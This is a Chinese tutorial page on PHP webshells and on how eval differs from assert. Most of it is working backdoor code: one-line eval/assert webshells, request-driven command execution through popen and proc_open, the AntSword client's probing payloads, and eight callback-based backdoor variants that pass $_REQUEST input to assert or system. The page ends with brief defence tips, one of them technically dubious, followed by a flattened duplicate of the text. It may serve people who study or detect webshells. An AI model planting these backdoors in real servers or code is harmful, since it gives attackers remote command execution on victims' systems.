分析webshell(php)以及eval与assert区别
字数 1859 2025-08-15 21:33:08

PHP Webshell 分析与 eval/assert 函数详解

一、Webshell 分类

1. 一句话木马

  • 可以在目标服务器上执行 PHP 代码
  • 与客户端工具(如菜刀、Cknife、冰蝎、蚁剑)进行交互
  • 俗称"小马"
  • 示例:<?php @eval($_POST['cmd']);?>

2. 多功能木马

  • 根据 PHP 语法编写较多代码
  • 在服务器上执行完成所有功能
  • 俗称"大马"

3. 逻辑木马

  • 利用系统逻辑漏洞(如 PHP UAF 漏洞)
  • 绕过访问控制或执行特殊功能

二、PHP 可执行系统命令的函数

1. system

string system ( string $command [, int &$return_var ] );
  • $command:执行的命令
  • &$return_var:可选,存放命令执行后的状态码
  • 执行有回显,结果显示在页面上
  • 示例:<?php system("whoami");?>

2. passthru

void passthru ( string $command [, int &$return_var ] );
  • 与 system 函数类似
  • 执行有回显,结果显示在页面上
  • 示例:<?php passthru("whoami");?>

3. exec

string exec ( string $command [, array &$output [, int &$return_var ]] );
  • $command:要执行的命令
  • $output:获得执行命令输出的每一行字符串
  • $return_var:保存命令执行的状态码
  • 默认无回显,返回最后一行结果
  • 示例:
<?php echo exec("whoami");?>
<?php $test = "ipconfig"; exec($test,$array); print_r($array); ?>

4. shell_exec

string shell_exec( string $command);
  • 默认无回显,通过 echo 输出结果
  • 示例:<?php echo shell_exec("whoami");?>
  • 反引号操作符变体:<?php echo whoami;?>

5. popen

resource popen ( string $command , string $mode );
  • 需要两个参数:执行的命令和连接模式(r/w)
  • 不直接返回结果,返回文件指针
  • 示例:
<?php 
$command = $_POST[cmd]; 
$fp = popen($command,"r"); 
while (!feof($fp)) { 
    $out = fgets($fp, 4096); 
    echo $out;
} 
pclose($fp); 
?>

6. proc_open

resource proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env [, array $other_options ]]] );
  • 与 popen 类似,但提供双向管道
  • 示例:
<?php 
$command = $_POST[cmd]; 
$array = array(
    array("pipe","r"), // 标准输入
    array("pipe","w"), // 标准输出内容
    array("pipe","w")  // 标准输出错误
); 
$fp = proc_open($command,$array,$pipes); 
echo stream_get_contents($pipes[1]); 
proc_close($fp); 
?>

7. pcntl_exec

void pcntl_exec ( string $path [, array $args [, array $envs ]] )
  • path:可执行二进制文件路径或脚本
  • args:传递给程序的参数数组
  • 需要额外安装 pcntl 扩展
  • 版本要求:PHP > 4.2.0

三、蚁剑连接 Webshell 分析

1. 基本交互流程

  1. 准备一句话木马:<?php @eval($_POST['cmd']);?>
  2. 蚁剑发送的典型代码结构:
@ini_set("display_errors", "0");
@set_time_limit(0);

function asenc($out){ return $out; };
function asoutput(){
    $output=ob_get_contents();
    ob_end_clean();
    echo "b48a94c80a";
    echo @asenc($output);
    echo "606e3eed3";
}

ob_start();
try{
    // 获取当前目录信息
    $D=dirname($_SERVER["SCRIPT_FILENAME"]);
    if($D=="") $D=dirname($_SERVER["PATH_TRANSLATED"]);
    $R="{$D}\t";
    
    // 判断系统类型并获取盘符或用户信息
    if(substr($D,0,1)=="/"){
        // Linux 系统处理
    }else{
        // Windows 系统处理
        foreach(range("C","Z")as $L) if(is_dir("{$L}:")) $R.="{$L}:";
    }
    
    // 获取用户信息
    $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
    $s=($u)?$u["name"]:@get_current_user();
    $R.=php_uname();
    $R.=" {$s}";
    echo $R;
}catch(Exception $e){
    echo "ERROR://".$e->getMessage();
};

asoutput();
die();

2. 列目录操作代码

@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out){ return $out; };
function asoutput(){
    $output=ob_get_contents();
    ob_end_clean();
    echo "7322e6777";
    echo @asenc($output);
    echo "7529076fb4d2";
}

ob_start();
try{
    $D=base64_decode($_POST["od0d1a967133cb"]);
    $F=@opendir($D);
    if($F==NULL){
        echo("ERROR:// Path Not Found Or No Permission!");
    }else{
        $M=NULL; $L=NULL;
        while($N=@readdir($F)){
            $P=$D.$N;
            $T=@date("Y-m-d H:i:s",@filemtime($P));
            @$E=substr(base_convert(@fileperms($P),10,8),-4);
            $R="\t".$T."\t".@filesize($P)."\t".$E."\n";
            if(@is_dir($P)) $M.=$N."/".$R;
            else $L.=$N.$R;
        }
        echo $M.$L;
        @closedir($F);
    }
}catch(Exception $e){
    echo "ERROR://".$e->getMessage();
};
asoutput();
die();

四、字符串作为 PHP 代码执行的函数

1. eval

  • PHP 4, PHP 5, PHP 7+ 均可用
  • 接收一个参数,将字符串作为 PHP 代码执行
  • 示例:
<?php eval("echo system('whoami');"); ?>
<?php @eval($_POST['cmd']); ?>

2. assert

  • PHP 4, PHP5, PHP7.2 以下可用
  • 一般接收一个参数,PHP5.4.8 后可接受两个参数
  • 示例:
<?php assert("system('whoami');"); ?>
<?php assert($_POST['cmd']); ?>
<?php assert($_GET['cmd']); ?>

3. 正则匹配类

  • preg_replace (PHP5.5.0 以下 /e 参数可用)
<?php preg_replace("/test/e","system('whoami')","jutst test"); ?>
<?php preg_replace("/test/e",@eval($_POST['cmd']),"jutst test"); ?>
<?php preg_replace("/test/e",$_POST['cmd'],"jutst test"); ?>
  • preg_replace_callback (PHP5.5.0+ 推荐)
<?php 
function result(){ return system("whoami"); } 
preg_replace_callback("//","result"); 
?>

<?php 
function result(){ return @eval($_POST['h']); } 
preg_replace_callback("//","result"); 
?>

4. 文件包含类

  • include, include_once, require, require_once, file_get_contents

五、eval 与 assert 函数的区别

1. 本质区别

  • eval 是语言构造器,不是函数,不能被可变函数调用
  • assert 在 PHP7 之前是函数,PHP7+ 成为语言构造器

2. OPCode 层面

  • eval 使用 INCLUDE_OR_EVAL 处理
  • assert 在 PHP5 中使用 DO_FCALL 处理

3. 可变函数限制

  • eval 不能作为回调函数使用
  • assert 在 PHP7 之前可以作为回调函数使用

六、回调后门函数示例

1. register_shutdown_function

<?php 
function test($a){ @eval("$a"); } 
register_shutdown_function(test,$_POST['cmd']); 
?>

2. array_udiff_assoc

<?php 
function test($a){ @eval($a); } 
array_udiff_assoc(array($_REQUEST['h']),array(1),"test");
?>

3. array_intersect_uassoc

<?php array_intersect_uassoc(array($_REQUEST[h]=>" "),array(1),"assert"); ?>
<?php array_intersect_uassoc(array($_REQUEST[h]=>" "),array(1),"system"); ?>

4. forward_static_call_array

<?php forward_static_call_array("assert",array($_REQUEST['h'])); ?>
<?php forward_static_call_array("system",array($_REQUEST['h'])); ?>

5. array_intersect_ukey

<?php array_intersect_ukey(array($_REQUEST['h']=>1),array(1),"assert"); ?>
<?php array_intersect_ukey(array($_REQUEST['h']=>1),array(1),"system"); ?>

6. register_tick_function

<?php declare(ticks=1); register_tick_function("assert", $_REQUEST['h']); ?>
<?php declare(ticks=1); register_tick_function("system", $_REQUEST['h']); ?>

7. array_reduce

<?php $arr = array(1); array_reduce($arr, "assert", $_REQUEST['h']); ?>
<?php $arr = array(1); array_reduce($arr, "system", $_REQUEST['h']); ?>

8. array_udiff

<?php $arr = array($_POST['h']); $arr2 = array(1); array_udiff($arr, $arr2, "assert"); ?>
<?php $arr = array($_POST['h']); $arr2 = array(1); array_udiff($arr, $arr2, "system"); ?>

七、防御建议

  1. 禁用危险函数:在 php.ini 中禁用 evalassertsystem 等危险函数
  2. 输入过滤:对所有用户输入进行严格过滤和验证
  3. 文件权限控制:限制 Web 目录的写入权限
  4. 代码审计:定期进行代码安全审计
  5. 使用 WAF:部署 Web 应用防火墙
  6. 更新 PHP 版本:使用最新稳定版 PHP,修复已知漏洞
  7. 禁用危险配置:如 allow_url_includeregister_globals
PHP Webshell 分析与 eval/assert 函数详解 一、Webshell 分类 1. 一句话木马 可以在目标服务器上执行 PHP 代码 与客户端工具(如菜刀、Cknife、冰蝎、蚁剑)进行交互 俗称"小马" 示例: <?php @eval($_POST['cmd']);?> 2. 多功能木马 根据 PHP 语法编写较多代码 在服务器上执行完成所有功能 俗称"大马" 3. 逻辑木马 利用系统逻辑漏洞(如 PHP UAF 漏洞) 绕过访问控制或执行特殊功能 二、PHP 可执行系统命令的函数 1. system $command :执行的命令 &$return_var :可选,存放命令执行后的状态码 执行有回显,结果显示在页面上 示例: <?php system("whoami");?> 2. passthru 与 system 函数类似 执行有回显,结果显示在页面上 示例: <?php passthru("whoami");?> 3. exec $command :要执行的命令 $output :获得执行命令输出的每一行字符串 $return_var :保存命令执行的状态码 默认无回显,返回最后一行结果 示例: 4. shell_ exec 默认无回显,通过 echo 输出结果 示例: <?php echo shell_exec("whoami");?> 反引号操作符变体: <?php echo whoami ;?> 5. popen 需要两个参数:执行的命令和连接模式(r/w) 不直接返回结果,返回文件指针 示例: 6. proc_ open 与 popen 类似,但提供双向管道 示例: 7. pcntl_ exec path :可执行二进制文件路径或脚本 args :传递给程序的参数数组 需要额外安装 pcntl 扩展 版本要求:PHP > 4.2.0 三、蚁剑连接 Webshell 分析 1. 基本交互流程 准备一句话木马: <?php @eval($_POST['cmd']);?> 蚁剑发送的典型代码结构: 2. 列目录操作代码 四、字符串作为 PHP 代码执行的函数 1. eval PHP 4, PHP 5, PHP 7+ 均可用 接收一个参数,将字符串作为 PHP 代码执行 示例: 2. assert PHP 4, PHP5, PHP7.2 以下可用 一般接收一个参数,PHP5.4.8 后可接受两个参数 示例: 3. 正则匹配类 preg_replace (PHP5.5.0 以下 /e 参数可用) preg_replace_callback (PHP5.5.0+ 推荐) 4. 文件包含类 include , include_once , require , require_once , file_get_contents 等 五、eval 与 assert 函数的区别 1. 本质区别 eval 是语言构造器,不是函数,不能被可变函数调用 assert 在 PHP7 之前是函数,PHP7+ 成为语言构造器 2. OPCode 层面 eval 使用 INCLUDE_OR_EVAL 处理 assert 在 PHP5 中使用 DO_FCALL 处理 3. 可变函数限制 eval 不能作为回调函数使用 assert 在 PHP7 之前可以作为回调函数使用 六、回调后门函数示例 1. register_ shutdown_ function 2. array_ udiff_ assoc 3. array_ intersect_ uassoc 4. forward_ static_ call_ array 5. array_ intersect_ ukey 6. register_ tick_ function 7. array_ reduce 8. array_ udiff 七、防御建议 禁用危险函数:在 php.ini 中禁用 eval 、 assert 、 system 等危险函数 输入过滤:对所有用户输入进行严格过滤和验证 文件权限控制:限制 Web 目录的写入权限 代码审计:定期进行代码安全审计 使用 WAF:部署 Web 应用防火墙 更新 PHP 版本:使用最新稳定版 PHP,修复已知漏洞 禁用危险配置:如 allow_url_include 、 register_globals 等